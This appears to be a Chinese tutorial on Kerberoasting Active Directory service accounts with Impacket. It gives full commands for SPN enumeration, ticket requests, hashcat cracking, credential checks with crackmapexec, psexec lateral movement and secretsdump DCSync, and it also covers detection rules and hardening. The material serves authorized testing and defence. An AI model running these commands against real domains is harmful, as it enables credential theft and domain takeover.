Kerberoasting 实战指南:利用 Impacket GetUserSPNs 提取与破解 Active Directory 服务账户凭据(MITRE ATTCK T1558.003) 📅 发布时间:2026/9/13 18:40:10 👁 浏览次数: Kerberoasting 实战指南利用 Impacket GetUserSPNs 提取与破解 Active Directory 服务账户凭据MITRE ATTCK T1558.003【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills本文以 Anthropic-Cybersecurity-Skills 仓库中的 exploiting-kerberoasting-with-impacket 技能为核心完整讲解 Kerberoasting 攻击的落地流程从 SPN 枚举、TGS 票据请求、离线破解到凭据验证与横向利用并配套仓库内的自动化脚本与检测代码帮助读者在授权渗透测试与红队演练中安全、高效地获取服务账户凭据同时理解检测方如何反制这一技术。Overview什么是 KerberoastingKerberoastingMITRE ATTCK T1558.003是一种针对 Active Directory 服务账户的凭据获取Credential Access技术。攻击者利用任何域用户都能请求 Kerberos TGSTicket Granting Service票据这一机制向注册了服务主体名称Service Principal Name, SPN的账户发起票据请求。TGS 票据使用服务账户的 NTLM 哈希RC4 或 AES进行加密攻击者拿到票据后即可在本地进行离线暴力破解恢复出服务账户的明文密码。Impacket 套件中的GetUserSPNs.py是 Linux 平台上执行 Kerberoasting 的事实标准工具。它承担了两项关键职责通过 LDAP 查询枚举域内所有注册了 SPN 的用户账户以当前域用户的身份向 KDC 请求这些 SPN 对应的 TGS 票据并将票据以 hashcat 兼容格式导出。该技术的攻击面在于任何普通域用户不需要任何特权都可以发起 Kerberoasting而服务账户往往拥有过高的权限例如域管理员组成员、SQL 服务账户等且密码通常为手动设置、长期不更换强度远低于 gMSA 自动生成的 240 位随机密码。一旦票据被破解攻击者即获得一个合法账户的明文口令可将其用于横向移动乃至域接管。在仓库的 mappings/README.md 技术覆盖统计中T1558.003Kerberoasting共被 14 个 skill 引用是本仓库覆盖面最广的凭据获取类技术之一在 mappings/attack-navigator-layer.json 的 MITRE ATTCK Navigator 层中该技术得分为 54关联了exploiting-kerberoasting-with-impacket、detecting-kerberoasting-attacks、analyzing-windows-event-logs-in-splunk等多个攻击侧与防御侧技能体现了从打到防的完整闭环。适用场景When to Use在以下场景中应激活本技能在获得授权的安全测试中需要评估 AD 环境中服务账户凭据的可获取性在受控环境中分析恶意样本或攻击痕迹例如红队工具落地后的行为复盘开展红队演习或渗透测试项目通过真实攻击路径验证域安全基线基于攻击技术理解构建检测能力蓝队视角需要先彻底理解攻击者的每一步。法律声明Legal Notice本技能仅用于授权的安全测试与教育目的。未经授权针对你不拥有或没有书面测试许可的系统实施攻击是非法的可能违反计算机欺诈相关法律。仓库中的所有攻击类 skill 均遵循同一约束请参阅 SECURITY.md 与 CODE_OF_CONDUCT.md。前置条件Prerequisites前置项说明有效的域凭据任意域用户的用户名/密码或 NTLM 哈希Kerberoasting 无需特权账户域控制器网络可达TCP/88Kerberos、TCP/389LDAP需放通Impacket安装方式pip install impacket提供GetUserSPNs.py离线破解工具HashcatGPU 加速或 John the RipperCPU字典rockyou.txt、SecLists 等高质量密码字典配合规则集使用从仓库的结构约定见 README.md来看每个 skill 目录下都包含SKILL.md技能定义、references/深度技术参考、scripts/可运行辅助脚本与assets/模板。本技能目录 skills/exploiting-kerberoasting-with-impacket/ 下的references/api-reference.md与references/workflows.md提供了命令级与流程级的补充参考scripts/agent.py则把整条攻击链路封装成了可复用的命令行工具。MITRE ATTCK 映射本技能在 SKILL.md 的 frontmatter 中声明了mitre_attack列表并在正文给出与主/子技术相关的映射Technique IDNameTacticT1558.003Steal or Forge Kerberos Tickets: KerberoastingCredential AccessTA0006T1087.002Account Discovery: Domain AccountDiscoveryT1110.002Brute Force: Password CrackingCredential Access同时 frontmatter 中还声明了与本技能配套的防御框架映射NIST CSFID.RA-01风险评估、GV.OV-02、DE.AE-07异常事件分析D3FEND 技术Application Protocol Command Analysis、Network Traffic Analysis、Client-server Payload Profiling 等。关于加密类型对可破解性的影响references/standards.md 给出了权威对照表Etype 值算法破解难度Hashcat 模式0x17 (23)RC4-HMAC快速破解131000x11 (17)AES128-CTS-HMAC-SHA1-96较慢196000x12 (18)AES256-CTS-HMAC-SHA1-96最慢19700这正是后续破解命令选择 hashcat 模式的依据RC4 票据etype 23破解速度最快而 AES 票据破解成本显著更高。攻击流程 Step 1枚举 Kerberoastable 账户Kerberoasting 的第一步是找出哪些账户注册了 SPN。GetUserSPNs.py在不带-request参数时会通过 LDAP 查询域内所有注册了 SPN 的用户账户并列出元数据但不发起票据请求属于低噪声侦察# List all user accounts with SPNs (without requesting tickets) GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 # Output example: # ServicePrincipalName Name MemberOf PasswordLastSet # ---------------------------- ---------- -------------------------------- ------------------- # MSSQLSvc/SQL01.corp.local svc_sql CNDomain Admins,CNUsers,... 2023-01-15 10:30:22 # HTTP/web01.corp.local svc_web CNWeb Admins,CNUsers,... 2024-03-20 14:15:00 # HOST/backup01.corp.local svc_backup CNBackup Operators,CNUsers,... 2022-06-01 08:45:10输出中的关键字段包括ServicePrincipalName服务主体名形如MSSQLSvc/SQL01.corp.local、Name账户名、MemberOf所属组用于判断特权等级以及PasswordLastSet密码最后设置时间用于推断密码年龄与强度。在 Windows 域内网环境中也可以使用 PowerShell 的 ActiveDirectory 模块完成等价枚举见 references/api-reference.mdGet-ADUser -Filter {ServicePrincipalName -ne $null} -Properties ServicePrincipalName, PasswordLastSet攻击流程 Step 2请求 TGS 票据枚举出 SPN 账户后攻击者以当前域用户身份向 KDC 请求这些账户的 TGS 票据。票据会以服务账户的密钥加密——KDC 不验证请求者是否有权访问该服务这是 Kerberoasting 成立的根本原因。# Request TGS tickets for all Kerberoastable accounts GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request # Request ticket for a specific SPN GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \ -request-user svc_sql # Output format (hashcat-compatible): # $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123... # Save to file for cracking GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \ -request -outputfile kerberoast_hashes.txt # Using NTLM hash instead of password (Pass-the-Hash) GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \ -dc-ip 10.10.10.1 -request -outputfile hashes.txt # Request AES tickets (if available) GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \ -request -outputfile hashes.txt关键参数说明-request请求 TGS 票据并输出 hashcat 兼容格式不带此参数仅做枚举。-request-user user仅针对指定用户请求票据用于定点打击高价值目标、降低请求噪声。-outputfile file将票据哈希写入文件供后续离线破解推荐始终使用避免终端滚屏。-hashes :NTLM_hash支持以 NTLM 哈希代替密码进行身份认证Pass-the-Hash 变体适合在已获得哈希但未破解明文的情况下继续操作。票据哈希格式$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...是 hashcat 模式 13100RC4的标准输入。若环境启用了 AES 加密输出的将是$krb5tgs$18$...或$krb5tgs$17$...前缀分别对应 hashcat 模式 19700 与 19600。仓库的 scripts/agent.py 将上述调用封装为 Python 函数run_getuserspns()它构建GetUserSPNs.py domain/user:password -dc-ip ip -request [-outputfile]命令并通过subprocess执行设置了 60 秒超时并在FileNotFoundError时给出GetUserSPNs.py not found — install impacket的明确错误提示——这说明 Impacket 必须正确安装在PATH中该脚本才能直接运行。攻击流程 Step 3离线破解 TGS 票据Kerberoasting 的杀伤力在于破解过程完全离线不产生任何网络流量也不会触碰目标服务账户因而无法被在线账户锁定策略Account Lockout阻止。# Hashcat - RC4 encrypted tickets (mode 13100) hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \ --rules-file /usr/share/hashcat/rules/best64.rule # Hashcat - AES-256 encrypted tickets (mode 19700) hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt # John the Ripper john --wordlist/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt # Check results hashcat -m 13100 kerberoast_hashes.txt --show # $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!references/workflows.md 给出了更完整的 Hashcat 命令参考覆盖了规则集与多种攻击模式# Basic Kerberoasting crack (RC4) hashcat -m 13100 hashes.txt wordlist.txt # With rules hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule # Multiple wordlists with rules hashcat -m 13100 hashes.txt wordlist1.txt wordlist2.txt \ -r rules/OneRuleToRuleThemAll.rule # AES-256 cracking hashcat -m 19700 hashes.txt wordlist.txt -r rules/best64.rule # Brute force (8 chars) hashcat -m 13100 hashes.txt -a 3 ?a?a?a?a?a?a?a?a # Show cracked passwords hashcat -m 13100 hashes.txt --show实战要点优先攻击 RC4 票据模式 13100破解速度远超 AES19600/19700叠加规则集best64、dive、OneRuleToRuleThemAll能显著提升字典命中率GPU 加速可大幅缩短大规模破解时间--show用于展示已破解的明文密码输出格式为哈希:密码如...:Summer2024!。仓库的agent.py中 crack_with_hashcat() 将破解步骤参数化-m 13100、可选的-r规则并把结果写入 JSON 报告配合--enumerate、--request、--crack三个开关可用一条命令串起枚举 → 取票 → 破解的完整链路# 一键执行枚举 SPN 账户 → 请求 TGS 票据 → 破解 → 输出 JSON 报告 python3 scripts/agent.py --domain corp.local --username jsmith --password Password123 \ --dc-ip 10.10.10.1 --enumerate --request --hash-file kerberoast_hashes.txt \ --crack /usr/share/wordlists/rockyou.txt --output report.json攻击流程 Step 4验证并使用破解凭据破解出服务账户明文密码后需要验证其有效性、评估权限等级再决定利用方式。# Verify cracked credentials crackmapexec smb 10.10.10.1 -u svc_sql -p Summer2024! -d corp.local # Check for local admin access crackmapexec smb 10.10.10.0/24 -u svc_sql -p Summer2024! -d corp.local --local-auth # Use credentials for lateral movement psexec.py corp.local/svc_sql:Summer2024!SQL01.corp.local # If service account is Domain Admin secretsdump.py corp.local/svc_sql:Summer2024!10.10.10.1 -just-dc-ntlmcrackmapexec smb用于批量验证凭据并标记(Pwn3d!)特权主机--local-auth检查账户在各主机的本地管理员权限psexec.py借助 SMB 服务创建交互式会话实现横向移动若服务账户属于 Domain Admins 等高特权组可直接使用secretsdump.py的-just-dc-ntlm参数执行 DCSync 提取域内所有用户哈希实现域接管。references/workflows.md 将整个攻击链条归纳为五阶段工作流枚举 SPN 账户 → 请求 TGS 票据 → 离线破解 → 验证凭据 → 利用权限并给出了分级利用建议域管理员权限可 DCSync / 构造黄金票据本地管理员权限可转储 LSASS、横向跳板普通用户权限则继续用于信息收集同时将新获取的账户同步到 BloodHound 攻击路径图中。目标优先级定点 Kerberoasting 的高价值账户并非所有 SPN 账户都值得投入破解算力。SKILL.md 给出了高价值目标分类账户类型为什么值得攻击风险等级属于 Domain Admins 的服务账户直接通向域接管CriticalSQL 服务账户MSSQLSvc常拥有过度授权HighExchange 服务账户可访问全部邮件HighAdminCount1 的账户现在或曾经拥有特权High密码设置时间过久的账户更可能使用弱密码Mediumreferences/workflows.md 进一步提供了目标优先级决策树用于指导攻击面排序Priority Decision Tree │ ├── Is account in Domain Admins group? │ └── YES → CRITICAL priority → Crack immediately │ ├── Is AdminCount 1? │ └── YES → HIGH priority → Currently or previously privileged │ ├── Password last set 2 years ago? │ └── YES → HIGH priority → Likely weak/legacy password │ ├── Is account AdminTo any computers? │ └── YES → MEDIUM priority → Lateral movement opportunity │ ├── Account description contains password hint? │ └── YES → HIGH priority → Common OPSEC failure │ └── Standard service account └── LOW priority → Crack opportunistically仓库的 scripts/process.py 将这一决策树工程化为analyze_kerberoast_targets()风险评分函数AdminCount1加 40 分、属于特权组Domain Admins / Enterprise Admins / Backup Operators 等加 30 分、密码年龄超过 2 年加 25 分、高价值 SPN 前缀MSSQLSvc / HTTP / exchangeMDB / ldap加 10 分最终按分数映射为 critical / high / medium / low 四级并降序排列——这为蓝队评估自身被 Kerberoasting 的风险面提供了直接可用的工具。替代工具链Rubeus 与 PowerView在 Windows 环境下例如已拿下域内一台主机、希望留在 Windows 生态内活动可以使用以下替代工具RubeusWindows# Kerberoast all accounts .\Rubeus.exe kerberoast /outfile:hashes.txt # Target specific user .\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt # Request RC4-only tickets (easier to crack) .\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt # Kerberoast with AES .\Rubeus.exe kerberoast /aes /outfile:hashes.txt/tgtdeleg利用 Kerberos 委派相关技巧强制请求 RC4 加密票据若域策略允许 RC4显著降低后续破解成本/aes显式请求 AES 加密票据用于评估域内 AES-only 加固后的可破解性。PowerViewPowerShellImport-Module .\PowerView.ps1 Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txtInvoke-Kerberoast是 PowerView 内置的 Kerberoasting 实现-OutputFormat Hashcat确保输出格式与 hashcat 模式 13100 兼容。检测与响应如何发现 KerberoastingWindows 事件日志检测Kerberoasting 的每一步都会在域控制器上留下痕迹核心检测信号集中在Event ID 4769Kerberos 服务票据请求Event ID 4769 - Kerberos Service Ticket Request - Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected - Monitor for: Single user requesting many TGS tickets in short period - Monitor for: Service ticket requests from unusual source IPsreferences/standards.md 补充了完整的关联事件清单Event ID描述检测相关性4769请求了 Kerberos 服务票据主要检测点检查 Encryption Type 字段4768请求了 Kerberos 认证票据TGT与 TGS 请求来源账户关联分析4770服务票据被续期Kerberoasted 票据的续期行为4771Kerberos 预认证失败关联 AS-REP Roasting 检测Sigma 检测规则SKILL.md 提供了可直接接入 Sigma 生态的检测规则title: Potential Kerberoasting Activity status: stable logsource: product: windows service: security detection: selection: EventID: 4769 TicketEncryptionType: 0x17 # RC4 ServiceName|endswith: $ filter: ServiceName: krbtgt condition: selection and not filter level: medium tags: - attack.credential_access - attack.t1558.003规则的检测逻辑是审计 4769 事件中加密类型为 RC40x17且目标服务以$结尾即机器账户/服务账户的 SPN的请求同时排除krbtgt账户的正常票据请求以降低误报。KQL 检测查询针对 Sentinel / Defender 等 Azure 生态见 references/api-reference.mdSecurityEvent | where EventID 4769 | where TicketEncryptionType 0x17 // RC4 | where ServiceName !endswith $ | summarize count() by Account, ServiceName仓库自带的检测实现scripts/process.py 是仓库内配套的 Kerberoasting 检测与风险分析工具其核心逻辑可作为自研检测规则的参考滑动窗口检测KerberoastDetector定义了两个关键阈值——TGS_REQUEST_THRESHOLD 5窗口内 TGS 请求数与TIME_WINDOW_SECONDS 3005 分钟窗口。同一源用户在 300 秒内请求 ≥5 个不同服务的 TGS 票据即触发告警若窗口内存在 RC4 请求encryption_type 0x17或目标服务超过 10 个告警等级提升为critical告警描述生成自动汇总源用户、源 IP、目标服务数、RC4 请求比例输出结构化描述便于 SIEM 直接消费风险报告generate_report()汇总检测告警与 Kerberoastable 账户风险评分并输出与 SKILL.md 一致的建议gMSA 化、25 字符强口令、禁用 RC4、加入 Protected Users、部署 4769 检测规则、部署蜜罐 SPN 账户。仓库中还有面向防御侧的配套技能 detecting-kerberoasting-attacks与本文形成攻击 → 检测闭环两者同时出现在 mappings/attack-navigator-layer.json 的 T1558.003 技术节点下。防御建议Defensive Recommendations完整继承 SKILL.md 的 8 条防御基线并结合仓库检测工具落地使用组托管服务账户gMSA240 位随机密码、自动轮换从根本上消除静态密码服务账户为所有服务账户设置强密码25 字符显著提高离线破解的时间成本启用 AES-only 加密通过 GPO 禁用 RC4将可破解票据模式 13100替换为高成本破解的 AES 票据19600/19700监控 Event ID 4769 中的 RC4 TGS 请求部署上文 Sigma 规则或直接复用process.py的滑动窗口检测逻辑在不适用 gMSA 的场景部署托管服务账户MSA定期审计运行 BloodHound 识别 Kerberoastable 账户并可用process.py的analyze_kerberoast_targets()输出风险排序Protected Users 组将敏感服务账户加入其中限制其可用的凭据委派方式蜜罐 SPN创建带 SPN 的诱饵账户一旦收到针对该账户的 TGS 请求即触发高置信度告警。检测响应层面的完整流程可参考 references/workflows.md 的 SOC 工作流SIEM 收到多条含 RC4 加密的 4769 事件后先核对源账户是否为服务账户否 → 疑似 Kerberoasting、再核对请求量5 分钟超 5 次 → 高置信、最后核对加密类型0x17 → 确认攻击响应动作包括定位源 IP 与账户、隔离失陷主机、重置所有被攻击服务账户密码、排查横向移动痕迹、复核服务账户权限事后则落实 gMSA、禁用 RC4、部署检测规则并开展 AD 安全评估。合规与标准参考references/standards.md 给出了本技能对应的合规框架映射可用于将攻防实践与监管要求对齐NIST SP 800-53 Rev. 5IA-5认证器管理强服务账户口令、AC-6最小权限约束服务账户权限NIST SP 800-63B数字身份指南口令复杂度NIST SP 800-1713.5.7仅存储与传输密码学保护的密码CIS Microsoft Windows Server 20222.3.6.4配置 Kerberos 加密类型CIS Controls v8Control 5.4将管理员权限限制到专用账户。此外standards.md 还列出已知使用 Kerberoasting 的 APT 组织APT29、FIN7、Wizard Spider、HAFNIUM、Sandworm 等说明该技术已被多个国家级威胁组织纳入实战武器库防御侧的监控投入是必要的。相关技术家族还包括 T1558.001Golden Ticket、T1558.002Silver Ticket、T1558.004AS-REP Roasting它们同属窃取或伪造 Kerberos 票据的父技术 T1558。小结Kerberoasting 之所以成为红队测试中经久不衰的经典技术在于它同时满足三个苛刻条件零特权前提任意域用户可发起、离线破解不触发账户锁定、不产生破解网络流量、高命中率服务账户普遍密码弱且长期不换。本仓库的 exploiting-kerberoasting-with-impacket 技能将完整攻击链路——SPN 枚举、TGS 取票、hashcat 离线破解、凭据验证与利用——沉淀为结构化步骤scripts/agent.py 将其自动化scripts/process.py 提供对等的检测与风险量化能力形成攻防双视角的完整参考。对防御者而言8 条基线gMSA、25 字符口令、AES-only、4769 监控、Protected Users、蜜罐 SPN 等构成了一套立即可执行的加固清单对攻击者而言务必仅在获得明确书面授权的环境中开展测试。【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考